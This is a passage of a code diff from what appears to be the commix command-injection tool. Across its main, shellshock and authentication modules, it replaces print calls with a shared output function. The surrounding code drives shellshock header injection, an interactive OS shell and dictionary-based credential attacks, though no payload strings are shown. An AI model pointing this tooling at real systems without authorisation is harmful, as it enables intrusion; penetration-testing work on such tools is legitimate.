settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Fetching random HTTP User-Agent header. " - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: pass try: menu.options.agent = random.choice(settings.USER_AGENT_LIST) info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP User-Agent header." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) extra_headers() cookie() @@ -152,12 +152,12 @@ def examine_request(request, url): except ValueError: # Invalid format for the '--header' option. if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'" err_msg += "to provide an extra HTTP header or" err_msg += " '--header=\"HEADER_NAME: " + settings.CUSTOM_INJECTION_MARKER_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except Exception as err_msg: @@ -170,18 +170,18 @@ def check_internet(url): settings.CHECK_INTERNET = True settings.CHECK_INTERNET_ADDRESS = checks.check_http_s(url) info_msg = "Checking for internet connection." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) try: request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS, method=settings.HTTPMETHOD.GET) headers.do_check(request) examine_request(request, url) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) error_msg = "No internet connection detected." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) """ The init (URL) request. @@ -190,7 +190,7 @@ def init_request(url, http_request_method): # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP timeout." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout # Define HTTP headers @@ -207,12 +207,12 @@ def init_request(url, http_request_method): # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : debug_msg = "Setting the HTTP authentication type and credentials." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if menu.options.proxy: proxy.do_check() if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) settings.CUSTOM_INJECTION_MARKER = checks.custom_injection_marker_character(url, http_request_method) # Check connection(s) checks.check_connection(url) @@ -234,7 +234,7 @@ def url_response(url, http_request_method): settings.CHECK_INTERNET = False if settings.INIT_TEST == True: info_msg = "Testing connection to the target URL. " - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) response = examine_request(request, url) # Check for URL redirection if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: @@ -256,7 +256,7 @@ def url_response(url, http_request_method): def init_injection(url): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Initializing the knowledge base." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # Initiate heuristic checks. if not settings.FOLLOW_REDIRECT: settings.FOLLOW_REDIRECT = True @@ -288,7 +288,7 @@ def stdin_parsing_target(os_checks_num): _ = [] if os_checks_num == 0: info_msg = "Using 'stdin' for parsing targets list." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.options.batch = True settings.MULTI_TARGETS = True for url in sys.stdin: @@ -314,7 +314,7 @@ def main(filename, url, http_request_method): if menu.options.alert: if menu.options.alert.startswith('-'): err_msg = "Value for option '--alert' must be valid operating system command(s)." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) else: settings.ALERT = True @@ -361,7 +361,7 @@ def main(filename, url, http_request_method): else: err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.test_parameter and menu.options.skip_parameter: @@ -370,7 +370,7 @@ def main(filename, url, http_request_method): else: err_msg = "The options '-p' and '--skip' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit if menu.options.ignore_session: @@ -412,7 +412,7 @@ def main(filename, url, http_request_method): if settings.USER_SUPPLIED_TECHNIQUE: err_msg = "The options '--technique' and '--skip-technique' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit else: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) @@ -421,7 +421,7 @@ def main(filename, url, http_request_method): menu.options.tech = menu.options.tech.replace(skip_tech_name, "") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit # Check if specified wrong injection technique @@ -454,7 +454,7 @@ def main(filename, url, http_request_method): err_msg += "' must be a string composed by the letters " err_msg += ', '.join(settings.AVAILABLE_TECHNIQUES).upper() err_msg += ". Refer to the official wiki for details." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if not menu.options.tech: @@ -466,12 +466,12 @@ def main(filename, url, http_request_method): if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (i.e. '--file-dest')." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--url" or "-m" option. @@ -499,14 +499,14 @@ def main(filename, url, http_request_method): try: _urllib.request.urlopen(menu.options.file_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(str(err_msg.code))) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.code))) raise SystemExit() except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.reason) + ".")) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() try: info_msg = "Performing identification (passive) tests to the target URL." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Webpage encoding detection. requests.encoding_detection(response) # Procedure for target server identification. @@ -541,7 +541,7 @@ def main(filename, url, http_request_method): else: err_msg = "You must specify the target URL." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Retrieve everything from the supported enumeration options. @@ -553,10 +553,10 @@ def main(filename, url, http_request_method): # Accidental stop / restart of the target host server. except (_http_client.BadStatusLine, SocketError) as err_msg: if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The target host is not responding." err_msg += " Please ensure that is up and try again." - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) try: @@ -568,7 +568,7 @@ def main(filename, url, http_request_method): raise SystemExit() # Print the legal disclaimer msg. - print(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) + settings.print_data_to_stdout(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) # Get total number of days from last update if os.path.isfile(settings.SETTINGS_PATH): @@ -579,20 +579,20 @@ def main(filename, url, http_request_method): if menu.options.alter_shell: if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Define the level of verbosity. if menu.options.verbose > 4: err_msg = "The value for option '-v' " err_msg += "must be an integer value from range [0, 4]." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: settings.VERBOSITY_LEVEL = menu.options.verbose if settings.VERBOSITY_LEVEL != 0: - print(settings.execution("Starting")) + settings.print_data_to_stdout(settings.execution("Starting")) if menu.options.smoke_test: smoke_test() @@ -644,7 +644,7 @@ def main(filename, url, http_request_method): if not menu.options.purge: err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). " err_msg += "Use -h for help." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.codec: @@ -652,14 +652,14 @@ def main(filename, url, http_request_method): err_msg = "The provided charset '" + menu.options.codec + "' is unknown. " err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: settings.DEFAULT_CODEC = menu.options.codec.lower() if menu.options.header and len(menu.options.header.split("\\n"))> 1: warn_msg = "Due to multiple provided HTTP headers, swithing '--header' to '--headers'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.method: settings.HTTP_METHOD = menu.options.method @@ -671,12 +671,12 @@ def main(filename, url, http_request_method): if menu.options.proxy: if menu.options.tor: err_msg = "The switch '--tor' is incompatible with option '--proxy'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.ignore_proxy: err_msg = "The option '--proxy' is incompatible with switch '--ignore-proxy'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): @@ -688,7 +688,7 @@ def main(filename, url, http_request_method): break else: err_msg = "Proxy value must be in format '(http|https)://address:port'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if not menu.options.proxy: @@ -703,30 +703,30 @@ def main(filename, url, http_request_method): if menu.options.ignore_session and menu.options.flush_session: err_msg = "The '--ignore-session' option is unlikely to work combined with the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.failed_tries == 0: err_msg = "You must specify '--failed-tries' value, greater than zero." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--auth-cred" and/or '--auth-type'. if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type): err_msg = "You must specify both '--auth-cred' and '--auth-type' options." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.auth_cred and menu.options.auth_type: if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): error_msg = "HTTP " + str(menu.options.auth_type) error_msg += " authentication credentials value must be in format 'username:password'." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() if menu.options.requestfile and menu.options.url: err_msg = "The '-r' option is incompatible with option '-u' ('--url')." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check the user-defined OS. @@ -736,7 +736,7 @@ def main(filename, url, http_request_method): # Check if defined "--check-tor" option. if menu.options.tor_check and not menu.options.tor: err_msg = "The '--check-tor' swich requires usage of '--tor' switch." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--abort-code" option. @@ -745,7 +745,7 @@ def main(filename, url, http_request_method): settings.ABORT_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.abort_code)] except ValueError: err_msg = "The option '--abort-code' should contain a list of integer values." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--ignore-code" option. @@ -754,17 +754,17 @@ def main(filename, url, http_request_method): settings.IGNORE_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.ignore_code)] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Ignoring '" + str(', '.join(str(x) for x in settings.IGNORE_CODE)) + "' HTTP error code"+('', 's')[len(settings.IGNORE_CODE) > 1]+ "." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) except ValueError: err_msg = "The option '--ignore-code' should contain a list of integer values." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--wizard" option. if menu.options.wizard: message = "Enter full target URL (-u) > " if menu.options.url: - print(settings.print_message(message + str(menu.options.url))) + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.url))) elif not menu.options.url and not settings.STDIN_PARSING: while True: message = "Enter full target URL (-u) > " @@ -775,7 +775,7 @@ def main(filename, url, http_request_method): break message = "Enter POST data (--data) [Enter for none] > " if settings.STDIN_PARSING or menu.options.data: - print(settings.print_message(message + str(menu.options.data))) + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.data))) else: menu.options.data = common.read_input(message, default=None, check_batch=True) if menu.options.data is not None and len(menu.options.data) == 0: @@ -783,7 +783,7 @@ def main(filename, url, http_request_method): while True: message = "Enter injection level (--level) [1-3, Default: 1] > " if settings.STDIN_PARSING: - print(settings.print_message(message + str(menu.options.level))) + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.level))) break try: menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) @@ -806,7 +806,7 @@ def main(filename, url, http_request_method): settings.TIMESEC = settings.TIMESEC * 2 warn_msg = "Increasing default value for option '--time-sec' to" warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Local IP address if not menu.options.offline: @@ -823,19 +823,19 @@ def main(filename, url, http_request_method): if menu.options.crawl_exclude: if not settings.CRAWLING: err_msg = "The '--crawl-exclude' option requires usage of '--crawl' option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: re.compile(menu.options.crawl_exclude) except Exception as e: err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check arguments if len(sys.argv) == 1 and not settings.STDIN_PARSING: menu.parser.print_help() - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() else: # Check for INJECT_HERE tag. @@ -859,7 +859,7 @@ def main(filename, url, http_request_method): # Parse target and data from HTTP proxy logs (i.e Burp / WebScarab). if menu.options.requestfile and menu.options.logfile: err_msg = "The '-r' option is unlikely to work combined with the '-l' option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.requestfile or menu.options.logfile: parser.logfile_parser() @@ -900,23 +900,20 @@ def main(filename, url, http_request_method): bulkfile = menu.options.bulkfile if os_checks_num == 0: info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if not os.path.exists(bulkfile): - print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() elif os.stat(bulkfile).st_size == 0: - print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() else: settings.MULTI_TARGETS = True - print(settings.SINGLE_WHITESPACE) with open(menu.options.bulkfile) as f: bulkfile = [url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() for url in f] @@ -956,7 +953,7 @@ def main(filename, url, http_request_method): if filename is not None: filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) url_num = 0 for url in clean_output_href: if check_for_injected_url(url): @@ -980,7 +977,7 @@ def main(filename, url, http_request_method): if settings.SKIP_VULNERABLE_HOST: url_num += 1 info_msg = "Skipping URL '" + url + "' (" + str(url_num) + "/" + str(len(clean_output_href)) + ")." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False: if not check_for_injected_url(url): @@ -990,7 +987,7 @@ def main(filename, url, http_request_method): url_num += 1 perform_check = True while True: - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + http_request_method + " " + url)) + settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + http_request_method + " " + url)) message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " next_url = common.read_input(message, default="Y", check_batch=True) if next_url in settings.CHOICE_YES: @@ -1024,7 +1021,7 @@ def main(filename, url, http_request_method): pass else: url_num += 1 - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + http_request_method + " " + url)) + settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + http_request_method + " " + url)) if url_num == len(clean_output_href): raise SystemExit() @@ -1034,12 +1031,12 @@ def main(filename, url, http_request_method): checks.user_aborted(filename, url) except NameError: abort_msg = "User quit (Ctrl-C was pressed)." - print(settings.print_abort_msg(abort_msg)) + settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) raise checks.exit() except EOFError: err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise checks.exit() except SystemExit: diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 6a8c052b41..e484ac1b34 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -33,6 +33,6 @@ def load_modules(url, http_request_method, filename): # The shellshock handler shellshock.shellshock_handler(url, http_request_method, filename) except ImportError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) raise SystemExit() raise SystemExit() \ No newline at end of file diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 162e22a1a8..2006367340 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -189,7 +189,7 @@ def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) """ Configure the bind TCP shell @@ -268,7 +268,7 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r # The "os_shell" option elif os_shell_option == "os_shell": warn_msg = "You are into the '" + os_shell_option + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return go_back, go_back_again # The "bind_tcp" option @@ -312,7 +312,7 @@ def shellshock_handler(url, http_request_method, filename): # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) if check_header == settings.COOKIE: @@ -342,8 +342,8 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR +settings.print_info_msg(info_msg)) + if no_result == False: # Check injection state @@ -367,9 +367,9 @@ def shellshock_handler(url, http_request_method, filename): # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(payload)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_sub_content(payload)) # Enumeration options. if settings.ENUMERATION_DONE: @@ -429,13 +429,13 @@ def shellshock_handler(url, http_request_method, filename): else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR +settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -454,19 +454,19 @@ def shellshock_handler(url, http_request_method, filename): if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print(settings.command_execution_output(shell)) + settings.print_data_to_stdout(settings.command_execution_output(shell)) else: debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL == 1: - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: - print(settings.print_debug_msg(debug_msg)) - sys.stdout.write(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -486,14 +486,14 @@ def shellshock_handler(url, http_request_method, filename): break except (KeyboardInterrupt, SystemExit): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise except TypeError: @@ -501,9 +501,9 @@ def shellshock_handler(url, http_request_method, filename): if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "All tested HTTP headers appear to be not injectable." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: logs.logs_notification(filename) @@ -513,8 +513,8 @@ def shellshock_handler(url, http_request_method, filename): response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err)) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True @@ -525,12 +525,12 @@ def shellshock_handler(url, http_request_method, filename): err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err_msg: - print(settings.print_critical_msg(err_msg + ".")) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ".")) raise SystemExit() """ @@ -548,11 +548,11 @@ def check_for_shell(url, cmd, cve, check_header, filename): payload = shellshock_exploitation(cve, cmd) debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) @@ -573,8 +573,8 @@ def check_for_shell(url, cmd, cve, check_header, filename): return shell, payload except _urllib.error.URLError as err_msg: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() shell, payload = check_for_shell(url, cmd, cve, check_header, filename) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 7bfd54d503..f66c4d158a 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -53,7 +53,7 @@ def authentication_process(http_request_method): if settings.VERBOSITY_LEVEL != 0: info_msg = "The received cookie is " info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) _urllib.request.install_opener(opener) request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. @@ -77,7 +77,7 @@ def define_wordlists(): username_txt_file = settings.USERNAMES_TXT_FILE passwords_txt_file = settings.PASSWORDS_TXT_FILE info_msg = "Setting default wordlists for dictionary-based attack." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) break elif do_update in settings.CHOICE_NO: message = "Please enter usernames wordlist > " @@ -95,14 +95,14 @@ def define_wordlists(): usernames = [] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Parsing usernames wordlist '" + username_txt_file + "'." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if not os.path.isfile(username_txt_file): err_msg = "The specified file '" + str(username_txt_file) + "' does not exist." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if len(username_txt_file) == 0: err_msg = "The specified file '" + str(username_txt_file) + "' seems empty." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() with open(username_txt_file, "r") as f: for line in f: @@ -110,21 +110,21 @@ def define_wordlists(): usernames.append(line) except IOError: err_msg = " Check if file '" + str(username_txt_file) + "' is readable or corrupted." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: passwords = [] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Parsing passwords wordlist '" + passwords_txt_file + "'." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if not os.path.isfile(passwords_txt_file): err_msg = "The specified file '" + str(passwords_txt_file) + "' does not 